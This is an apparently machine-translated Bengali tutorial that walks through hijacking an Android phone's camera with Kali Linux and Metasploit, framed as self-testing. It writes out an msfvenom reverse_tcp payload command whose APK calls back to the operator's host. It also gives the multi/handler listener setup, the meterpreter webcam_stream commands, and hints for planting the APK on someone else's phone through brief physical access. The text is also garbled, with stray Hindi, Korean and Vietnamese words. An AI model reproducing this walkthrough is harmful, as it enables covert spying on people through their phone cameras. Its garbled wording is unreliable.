কম্পিউটার টিউটোরিয়াল

কালি লিনাক্স ব্যবহার করে অ্যান্ড্রয়েড ফোন ক্যামেরায় পেনিট্রেশন টেস্ট চালানো

হ্যাকাররা অ্যান্ড্রয়েড ফোন ক্যামেরা হাইজ্যাক করে ব্যবহারকারীদের গোপন শুনা বা নকল ছবি দেওয়ার অনেক খবর পাওয়া গেছে। একজন সতর্ক ফোন মালিক হিসেবে, আপনি সেজন্য প্রতিরোধ করতে চাইতে পারেন সেই হুমকির সম্ভাবনা এবং আসল রিস্ক आँকা।

কালি লিনাক্স আপনার অ্যান্ড্রয়েড ফোন ক্যামেরার সম্ভাব্য venerability পেনিট্রেশন টেস্টের মাধ্যমে চেক করার সেরা টুলের এক। এটি হ্যাকারদের ফোন ক্যামেরায় দূর থেকে অ্যাক্সেস করার চেষ্টা সম্পর্কে আপনাকে সতর্ক রাখতে সাহায্য করতে পারে।

এক্সপ্লয়েট পেলোড ইনস্টল করা

পেনিট্রেশন টেস্টের জন্য কালি লিনাক্স ব্যবহার করতে হলে, প্রথমে এর অফিসিয়াল সাইট থেকে ডাউনলোড করুন। "msfvenom", "msfconsole", "meterpreter" ইত্যাদি জার্গনের ডেফিনিশনের জন্য এই আগের টিউটোরিয়ালটি রেফার করুন যা এই এক্সারসাইজে ব্যবহার হবে।

পেনিট্রেশন টেস্টের প্রথম ধাপ হলো ডিভাইসে একটি স্ট্যান্ডার্ড এক্সপ্লয়েট পেলোড ইনস্টল করা। এর জন্য, কালি লিনাক্স টার্মিনাল খুলুন এবং নিচের কমান্ডটি লিখুন: ifconfig। এটি আপনার কালি লিনাক্স সেশনের IP অ্যাড্রেস দেবে।

এখন উপরের IP অ্যাড্রেস ব্যবহার করে নিচের কমান্ডটি লিখুন। এক্সপ্লয়েট, ট্রোজান এবং অন্যান্য venerability-এর জন্য পোর্ট নম্বর সাধারণত ৪৪৪৪ দেওয়া থাকে।

msfvenom -p android/meterpreter/reverse_tcp LHOST=IP address LPORT=Number R > Payload.apk

এই ধাপে একটি মেটাস্প্লয়েট পেলোড ইনজেক্ট করার চেষ্টা করা হচ্ছে, যা জাভা ইন্টারপ্রেটার-ভিত্তিক। সফল হলে, পেনিট্রেশন টেস্ট আপনাকে ভেরিফাই করতে সাহায্য করবে যে আপনার ফোন কি ফোন কল শোনা, SMS অ্যাক্সেস করা, ইউজার জিও-লোকেট করা ইত্যাদির 상대로 venerable কিনা।

এই কেসে চেষ্টা করা হচ্ছে কীভাবে এক্সপ্লয়েটটি ফোনের ক্যামেরা অ্যাক্সেস করতে সম্ভাব্যভাবে ব্যবহার করা যায়।

এক্সপ্লয়েট শুরু হলে, "Payload" নামে একটি APK ফাইল রুট ফোল্ডারে ইনস্টল হবে। আপনাকে এটি একটি টার্গেট অ্যান্ড্রয়েড ফোনে ইনস্টল করতে হবে। কিন্তু বলা সহজ, করা কঠিন। অধিকাংশ নতুন অ্যান্ড্রয়েড ফোন এবং ইমেইল এই ম্যালওয়্যার-ইনফেক্টেড ফাইল ক্যারি করতে অস্বীকার করবে, এবং সেটা ভালো ব্যাপার।

তবে, এটি USB ক্যাবল বা টেম্পোরারি ফাইলগুলোর মাধ্যমে এখনো সম্ভব। যদি কোনো হ্যাকারের আপনার ফোনে কয়েক মিনিটের অ্যাক্সেস থাকে, তবে সেটা কিছুটা venerable করে তোলে। আমাদের এই পেনিট্রেশন টেস্টে সেই রিস্কের সঠিক পরিমাপ নির্ধারণ করা লক্ষ্য।

একবার ট্রান্সফার হলে, আপনাকে পেলোড ফাইলটি আপনার ফোনে ইনস্টল করার উপায় খুঁজতে হবে। যদি না খুব পুরনো অ্যান্ড্রয়েড ভার্সন হয়, তবে আপনার ফোন আপনাকে APK ইনস্টল করার আগে একাধিক সতর্কতা দেবে। এখনও, অ্যান্ড্রয়েড ফোন ভার্সন যাই হোক, অ্যান্ড্রয়েড ফোনে আননোন সোর্স থেকে অ্যাপ ইনস্টল করার অনেক অন্য উপায় রয়েছে।

এক্সপ্লয়েট লঞ্চ করা

উপরের Payload এক্সপ্লয়েট লঞ্চ করতে, নিচের কমান্ডটি লিখুন: msfconsole। কমান্ড এক্সিকিউট হওয়ায় কয়েক সেকেন্ড লাগবে, এবং মেটাস্প্লয়েট ফোনের ক্যামেরায় আরও পেনিট্রেশন টেস্টের জন্য প্রস্তুত হবে।

মেটাস্প্লয়েট তার নিজস্ব সম্পূর্ণ বিবরণ দেবে। পেলোড সামারি ও দৃশ্যমান। এতে কাজ করছে এক্সপ্লয়েটের সংখ্যা দেখানো থাকে।

পরবর্তী ধাপে msfconsole এক্সপ্লয়েট লঞ্চ করার জন্য প্রস্তুত। এর জন্য, আগে আলোচনা করা IP অ্যাড্রেস এবং পোর্ট নম্বর (৪৪৪৪) রেফার করুন। যেনে নিচের কমান্ডগুলো লিখুন:

exploit (multi/handler) > set LHOST "IP Address" [ENTER]
set LPORT "Port number" [ENTER]
exploit [ENTER]

রিভার্স TCP হ্যান্ডলার সক্রিয় হলে, আপনি Meterpreter-এর লঞ্চ হওয়ার বিভিন্ন স্টেজ দেখবেন। টার্গেট ফোন ডায়াগনোজ হওয়ার জন্য কয়েক সেকেন্ড অপেক্ষা করুন।

এখানে উল্লেখ করতে হচ্ছে, অধিকাংশ আধুনিক অ্যান্ড্রয়েড ফোন এই অ্যাক্সেস অস্বীকার করতেই থাকবে। মনে রাখবেন এটি একটি পেনিট্রেশন টেস্ট। যদি আপনার অ্যান্ড্রয়েড ফোন এই লেথাল APK ফাইল দিয়ে penetrated না করা যায়, তবে এর মানে আপনার ফোন ম্যানুফ্যাকচারার এই নির্দিষ্ট আক্রমণ ভেক্টরের বিষয়ে জানেন।

অ্যান্ড্রয়েড ফোন ক্যামেরা অ্যাক্সেস করা

যদি আপনি ফোনে এক্সপ্লয়েট সফলভাবে ইনসার্ট করতে পারেন, তবে এটি penetrated হওয়ার সম্ভাবনা রয়েছে। যখন এটা হবে, কালি লিনাক্স টার্মিনালে "meterpreter" ফোনের সাথে কানেকশন thiết করবে। এই পয়েন্টে, help লিখে আক্রমণাধীন অ্যান্ড্রয়েড ফোনের মধ্যে একাধিক অপশন অ্যাক্সেস করুন।

হেল্প মেনু থেকে নিচের কমান্ডগুলো লিখে আপনার ফোনের ক্যামেরাগুলো অ্যাক্সেস করুন। এই এক্সপ্লয়েটে ব্যাক ক্যামেরা অ্যাক্সেস করে টার্মিনাল থেকে ছবি তোলার চেষ্টা করা হয়েছিল।

webcam_list [ENTER]
1. Back camera
2. Front camera [ENTER]
webcam_stream -i 1

একটি সফল পেনিট্রেশন টেস্ট কমপ্লিট করতে, একবার ক্যামেরা অ্যাক্সেস পেলে, একটা ছবি তোলুন এবং কালি লিনাক্স রুট ফোল্ডারে সেভ করুন। আপনি সংরক্ষিত অন্যান্য ছবিগুলোও এডিট, রিনেম বা ডিলিট করতে পারবেন। তাই, টেস্ট করা ফোনে যেকোনো সফল পেনিট্রেশন একটি ওয়েক-আপ কল যে একটি রিয়েল আক্রমণের সম্ভাবনা রয়েছে, মানে সিকিউরিটি প্যাচের জন্য যাওয়ার সময়।

এই টিউটোরিয়ালে আপনি শিখলেন কীভাবে একটি অ্যান্ড্রয়েড ক্যামেরা কালি লিনাক্স টার্মিনাল থেকে পেনিট্রেশন টেস্টিং-এর জন্য অ্যাক্সেস করা যায়।

এটি একটি সিকিউরিটি রিসার্চ আর্টিকেল। আপনি যদি কাউকে ডেমো করাইবেন, তবে আগে তাদের পারমিশন নিন—অন্যথা, অবশ্যই আপনার নিজের ফোন। আপনার ফোনে venerability টেস্ট ও খুঁজে বের করতে এই অ্যান্ড্রয়েড হ্যাকিং অ্যাপগুলো চেক করুন।

  1. লিনাক্স ডিপ্লয় ব্যবহার করে অ্যান্ড্রয়েড ফোনে উবুন্টু ইনস্টল করার পদ্ধতি

  2. একই অ্যান্ড্রয়েড ফোনে দুটি স্ন্যাপচ্যাট অ্যাকাউন্ট চালানোর সহজ গাইড

  3. WSL দিয়ে Windows 10/11-এ লিনাক্স অ্যাপ চালান - দ্রুত ও সহজ গাইড

  4. অ্যান্ড্রয়েড-এক্স৮৬ দিয়ে লিনাক্সে অ্যান্ড্রয়েড গেম চালান: ধাপে ধাপে গাইড